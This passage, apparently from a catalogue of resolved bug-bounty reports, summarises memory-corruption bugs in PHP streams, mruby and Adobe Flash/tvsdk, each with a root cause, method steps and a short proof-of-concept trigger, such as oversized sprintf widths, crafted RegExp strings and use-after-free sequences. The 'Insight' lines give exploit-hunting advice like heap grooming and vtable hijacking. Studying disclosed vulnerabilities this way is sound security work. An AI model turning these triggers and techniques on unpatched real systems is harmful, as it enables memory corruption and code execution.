- Register a stream context notification callback via stream_context_set_params.
- In the callback (e.g. on STREAM_NOTIFY_REDIRECTED) overwrite $GLOBALS['http_response_header'] with a crafted string.
- Trigger an HTTP fetch that redirects (file_get_contents on a redirecting URL); the wrapper writes into the now-string zval as if it were an array -> type confusion -> potential RCE.
stream_context_set_params($ctx, array("notification"=>"cb"));
function cb($code,...){ if($code==STREAM_NOTIFY_REDIRECTED){ $GLOBALS['http_response_header']="AAAA...\0\0\0\0"; } }
file_get_contents("http://host/redirect", false, $ctx);
Insight β When a C function caches a pointer to a script-visible variable and re-enters user code (callbacks, notifications, magic methods), the variable's type/lifetime can change underneath it. Look for callback surfaces that run during an operation holding a raw zval pointer.
Real-world example
sprintf integer overflow -> heap info leak + buffer underflow
β Info
Specimen #212239 Β· shopify-scripts Β· awarded Β· 3 votes Β· resolved
Program shopify-scriptsSurface otherChain integer overflow -> under-sized alloc -> heap info lea
Root cause
The sprintf CHECK(l) resize macro accepts negative sizes; a huge width in the 'G' format overflows 'need' to INT_MIN, and snprintf returning -1 decrements blen, producing an out-of-bounds resize that leaks adjacent heap memory and underflows the buffer.
Method
- Call sprintf with a format width near 2**31 (e.g. '% 2147483628G') so the internal size goes negative.
- On 32-bit, mrb_str_resize(-1) allocates a 0-sized buffer and the output spans adjacent heap (leaking secrets nearby).
- Repeat the format primitive to decrement blen and underflow, overwriting neighbouring objects.
unique = sprintf("% 2147483628G", 1234567890.12345678)
# leak; underflow:
format = "% 2147483628G" * 10 + "!!!!!!!!!!!"
Insight β Format-string width/precision fields are a classic integer-overflow source. In any sprintf/printf-like implementation, fuzz enormous widths and check that snprintf return values and resize lengths are validated as non-negative.
Real-world example
mruby ary_concat segfault from crafted script (sandbox fuzzing)
β Info
Specimen #216615 Β· shopify-scripts Β· awarded Β· 3 votes Β· resolved
Program shopify-scriptsSurface other
Root cause
A malformed Ruby snippet reaches ary_concat() with an invalid array/receiver, dereferencing a bad pointer and crashing the interpreter inside a sandboxed script engine.
Method
- Fuzz the mruby/mruby-engine parser+VM with grammatically odd but parseable snippets.
- Feed the crashing input to mrb_load_string; observe SIGSEGV in ary_concat (src/array.c).
- Confirm under ASAN and in the production sandbox binary.
N *case
when nil
->()do end
def e()end
end#
Insight β Language sandboxes (mruby, JS engines) that accept untrusted scripts are high-value fuzz targets; even parser/VM crashes are rewarded and can be primitives for deeper corruption. Run inputs under ASAN and diff crash sites.
Real-world example
Flash RegExp compiler: stale stack pointer after heap-grow -> arbitrary R/W
β Info
Specimen #31408 Β· ibb Β· 5000 Β· 2 votes Β· resolved
Program ibbSurface otherChain OOB copy -> Vector.<int> length overwrite -> arb
Root cause
When compiling a RegExp with many forward-reference repetitions, Flash's fixed stack `cworkspace` overflows and is relocated to a larger heap block with pointers updated - but the update happens in a recursively called function and a local cworkspace pointer in an outer frame is not synchronized. A later copy runs from the stale stack pointer to the new heap block, reading out of bounds; with heap Feng Shui it overwrites a Vector.<int> length field (CVE-2014-0564).
Method
- Build a malformed RegExp with deep forward-reference repetitions to force cworkspace expansion.
- The recursion relocates cworkspace to heap but leaves an outer-frame stack pointer stale.
- The copy from stale stack ptr -> heap over-reads adjacent memory.
- Groom the heap so an attacker Vector.<int> is adjacent; corrupt its length -> arbitrary read/write.
var exp:RegExp = new RegExp("(?:(VenusTech)(?2){0,1020}(b))?)");
// stale cworkspace stack ptr after heap expansion -> OOB copy -> Vector.<int> length corruption
Insight β When a buffer can be promoted from stack to heap on overflow, every cached pointer to it across call frames must be re-synced; a pointer captured before the move is a use-after-move OOB. Corrupting a Vector.<int>/typed-array length is the classic scripting-engine path from OOB to full arbitrary R/W and ASLR defeat.
Real-world example
Flash NetStream MP4 use-after-free via never-ending media
β Info
Specimen #36279 Β· ibb Β· 2000 Β· 2 votes Β· resolved
Program ibbSurface other
Root cause
A malformed MP4 makes Flash's NetStream believe the stream never ends, so a background thread keeps accessing the media object after the containing page is closed and the object is freed - use-after-free (or execute-freed-memory depending on free order) (CVE-2014-8438).
Method
- Craft an MP4 whose metadata implies an unterminated stream.
- Load it via NetStream and start playback.
- Close the page/SWF so Flash frees the media object while the standalone playback thread runs.
- The thread accesses freed memory -> UAF crash (potentially controllable).
// NetStream loads crafted mp4; malformed duration/atoms => 'stream never ends'
// page close frees media object while playback thread still reads it -> UAF
Insight β Media players with async/background decode threads have object-lifetime races: the teardown path and the decode thread disagree on when the media object dies. Look for 'stream/duration never ends' malformations and destroy the container mid-playback to force a UAF.
Real-world example
Flash RegExp ovector off-by-one -> saved-EIP as string length
β Info
Specimen #47012 Β· ibb Β· 2000 Β· 2 votes Β· resolved
Program ibbSurface otherChain ovector over-read -> fake-length string -> arbitrary m
Root cause
Match results go into a fixed `int ovector[99]`. For a named group, the substring is built from ovector[nameIndex*2] (start) and ovector[nameIndex*2+1] (end), where nameIndex == number of left brackets is attacker-controlled. Flash guards nameIndex>49 but not ==49, so nameIndex*2+1 == 99 reads one int past ovector - typically the saved EIP - which becomes a huge string length, yielding an over-long string for arbitrary memory access (CVE-2015-0330).
Method
- Build a match with a named group and exactly 49 capturing left-brackets.
- nameIndex==49 slips past the >49 check; ovector[99] reads out of bounds (saved EIP).
- Flash returns a named-group substring whose length field is that stack value.
- Use the fake-length string with heap Feng Shui to read/write arbitrary memory.
"Venus".match("(((((((((((((((((((((((((((((((((((((((((((((((((?P<G2>)))))))))))))))))))))))))))))))))))))))))))))))))");
// 49 '(' => nameIndex=49 => ovector[99] over-read => fake-length G2 string
Insight β Off-by-one on an inclusive/exclusive bound (`>N` where `==N` is also OOB) is a recurring class in fixed-index arrays. When an OOB-read value becomes a length/size field returned to script, you get an over-long buffer object - a direct stepping stone to arbitrary R/W.
Real-world example
Flash tvsdk: direct low-level call with uninitialized object bypasses AS3 validation
β Info
Specimen #138516 Β· ibb Β· 2000 Β· 2 votes Β· resolved
Program ibbSurface other
Root cause
Adobe PSDK/tvsdk methods (ContentFactory, Metadata, OpportunityGenerator, Shim* resolvers/selectors) rely on higher-level AS3 wrappers to validate arguments. Invoking the underlying method directly with a declared-but-unassigned (null/uninitialized) object skips that validation; native code then dereferences an absent inner class instance -> memory corruption. The same pattern repeats across the whole tvsdk API family.
Method
- Declare a typed AS3 var without assigning it (null/uninitialized instance).
- Call the low-level SDK method directly (bypassing the validating wrapper) passing that var.
- Native code accesses a missing inner instance -> crash/memory corruption.
// CVE-2016-1098 (ContentFactory.retrieveAdPolicySelector)
var mt:MediaPlayerItem; // uninitialized
var obj:ContentFactory = ps.createDefaultContentFactory();
obj.retrieveAdPolicySelector(mt);
// same family: new Metadata().setMetadata("test", mt2); // CVE-2016-1099 (#138517)
// ps.createOpportunityGenerator(0).update(1, tr); // CVE-2016-1100 (#138518)
// new ShimAdPolicySelector(0,mp).selectAdBreaksToPlay(ap); // CVE-2016-4188 (#151040)
Insight β When an SDK enforces argument validation only in a high-level wrapper, the low-level/native entry point is the bug: call it directly with null/uninitialized objects. One validation-bypass pattern often multiplies into a whole CVE family across sibling API methods - enumerate every method that assumes a validated instance.
Real-world example
Adobe Flash use-after-free via explicit object release then use (PSDK / FileReference)
β Info
Specimen #151043 Β· nodejs Β· none Β· votes Β· resolved
Program nodejsSurface otherChain controllable UAF -> heap spray between free and use ->Tag file-upload
Root cause
ActionScript objects expose (or can be driven into) an explicit release()/free of native backing memory while AS3 references remain live, so calling a member afterwards invokes virtual functions on freed memory -- a highly controllable UAF suitable for shellcode via heap spray.
Method
- Obtain two AS3 references to the same native-backed object (PSDK.pSDK) or wrap FileReference in a custom class
- Call release() (or run the browse/load sequence repeatedly) to free the native memory while a reference survives
- Reoccupy the freed block with a controlled AS3 object via heap spray, then use the stale reference to hijack a vtable call
var ps:PSDK = PSDK.pSDK;
var ps_:PSDK = PSDK.pSDK;
ps.release();
ps_.currentTime; // use-after-free on released native memory
Insight β An API that exposes an explicit free/release while the language keeps live references is a textbook UAF; the exploitation pattern (spray between free and use, control a vtable) generalizes to any managed runtime with manual native teardown.